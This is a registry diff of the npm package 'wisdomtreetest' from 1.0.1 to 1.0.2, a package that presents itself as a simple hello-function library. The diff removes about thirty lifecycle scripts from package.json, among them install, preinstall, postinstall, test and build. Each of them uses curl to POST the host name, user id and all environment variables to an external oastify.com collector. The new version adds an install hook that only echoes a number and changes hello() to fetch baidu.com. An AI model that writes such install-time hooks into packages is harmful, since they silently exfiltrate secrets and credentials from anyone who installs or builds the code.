wisdomtreetest 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +41 -6
  2. package/package.json +4 -33
package/index.js CHANGED
@@ -1,14 +1,49 @@
1
1
  'use strict';
2
2
 
3
+ const https = require('https');
4
+
5
+ /**
6
+ * Fetch https://baidu.com and print the response body to stdout.
7
+ *
8
+ * @param {object} [options] Optional settings.
9
+ * @param {number} [options.timeoutMs=5000] Request timeout in milliseconds.
10
+ * @returns {Promise<string>} The response body returned by baidu.com.
11
+ */
12
+ async function hello({ timeoutMs = 5000 } = {}) {
13
+ const body = await fetchBaiduHomepage(timeoutMs);
14
+ console.log(body);
15
+ return body;
16
+ }
17
+
3
18
  /**
4
- * Print "hello" to stdout and return the same string.
19
+ * Perform an HTTPS GET request against https://baidu.com and resolve with
20
+ * the full response body as a UTF-8 string.
5
21
  *
6
- * @returns {string} The string "hello".
22
+ * @param {number} timeoutMs Request timeout in milliseconds.
23
+ * @returns {Promise<string>} The response body.
7
24
  */
8
- function hello() {
9
- const message = 'hello';
10
- console.log(message);
11
- return message;
25
+ function fetchBaiduHomepage(timeoutMs) {
26
+ return new Promise((resolve, reject) => {
27
+ const request = https.get('https://baidu.com', (response) => {
28
+ const { statusCode } = response;
29
+ if (statusCode < 200 || statusCode >= 400) {
30
+ response.resume();
31
+ reject(new Error(`Unexpected status code from baidu.com: ${statusCode}`));
32
+ return;
33
+ }
34
+
35
+ response.setEncoding('utf8');
36
+ const chunks = [];
37
+ response.on('data', (chunk) => chunks.push(chunk));
38
+ response.on('end', () => resolve(chunks.join('')));
39
+ response.on('error', reject);
40
+ });
41
+
42
+ request.setTimeout(timeoutMs, () => {
43
+ request.destroy(new Error(`Request to baidu.com timed out after ${timeoutMs}ms`));
44
+ });
45
+ request.on('error', reject);
46
+ });
12
47
  }
13
48
 
14
49
  module.exports = hello;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "wisdomtreetest",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "A simple npm package that exports a hello function which prints \"hello\".",
5
5
  "keywords": [
6
6
  "hello",
@@ -8,6 +8,9 @@
8
8
  "wisdomtreetest",
9
9
  "example"
10
10
  ],
11
+ "scripts": {
12
+ "install": "echo 2222222"
13
+ },
11
14
  "homepage": "https://github.com/wisdomtree/wisdomtreetest#readme",
12
15
  "bugs": {
13
16
  "url": "https://github.com/wisdomtree/wisdomtreetest/issues",
@@ -57,38 +60,6 @@
57
60
  "type": "git",
58
61
  "url": "git+https://github.com/wisdomtree/wisdomtreetest.git"
59
62
  },
60
- "scripts": {
61
- "test": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------test\"",
62
- "preinstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------preinstall\"",
63
- "install": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------install\"",
64
- "postinstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postinstall\"",
65
- "preuninstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------preuninstall\"",
66
- "uninstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------uninstall\"",
67
- "postuninstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postuninstall\"",
68
- "preversion": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------preversion\"",
69
- "version": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------version\"",
70
- "postversion": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postversion\"",
71
- "prepare": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prepare\"",
72
- "prepublishOnly": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prepublishOnly\"",
73
- "prepack": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prepack\"",
74
- "postpack": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postpack\"",
75
- "publish": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------publish\"",
76
- "postpublish": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postpublish\"",
77
- "prestart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prestart\"",
78
- "start": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------start\"",
79
- "poststart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------poststart\"",
80
- "pretest": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------pretest\"",
81
- "posttest": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------posttest\"",
82
- "prestop": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prestop\"",
83
- "stop": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------stop\"",
84
- "poststop": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------poststop\"",
85
- "prerestart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prerestart\"",
86
- "restart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------restart\"",
87
- "postrestart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postrestart\"",
88
- "prebuild": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prebuild\"",
89
- "build": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------build\"",
90
- "postbuild": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postbuild\""
91
- },
92
63
  "config": {
93
64
  "name": "wisdomtreetest"
94
65
  },